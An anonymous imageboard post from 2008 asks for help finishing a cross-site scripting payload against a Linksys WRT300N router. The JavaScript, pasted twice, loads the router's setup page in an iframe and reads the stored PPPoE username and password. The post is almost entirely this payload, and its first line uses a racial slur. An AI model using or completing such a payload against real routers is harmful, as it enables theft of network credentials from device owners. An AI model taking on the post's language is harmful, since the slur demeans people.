Name: Anonymous 2008-11-28 4:40
A nigger in /g/ told me to come here. Paste:
I need some help with a router XSS vulnerability. The router is a Linksys WRT300N, and I would like to get this into a working file so I can test it on my router:
var ss = document.createElement('iframe');
ss.src = '/setup.cgi?next_file=Setup.htm';
ss.setAttribute("onload", "test()");
var hh = document.getElementsByTagName('body')[0];
hh.appendChild(ss);
function test() {
var oDoc = (ss.contentWindow || ss.contentDocument);
if (oDoc.document) oDoc = oDoc.document;
var d = ss.contentDocument;
var user = d.getElementsByName("PppoeUserName")[0].value;
var pass = d.getElementsByName("PppoePasswd")[0].value;
alert(user + "-" + pass);
}">
I need some help with a router XSS vulnerability. The router is a Linksys WRT300N, and I would like to get this into a working file so I can test it on my router:
var ss = document.createElement('iframe');
ss.src = '/setup.cgi?next_file=Setup.htm';
ss.setAttribute("onload", "test()");
var hh = document.getElementsByTagName('body')[0];
hh.appendChild(ss);
function test() {
var oDoc = (ss.contentWindow || ss.contentDocument);
if (oDoc.document) oDoc = oDoc.document;
var d = ss.contentDocument;
var user = d.getElementsByName("PppoeUserName")[0].value;
var pass = d.getElementsByName("PppoePasswd")[0].value;
alert(user + "-" + pass);
}">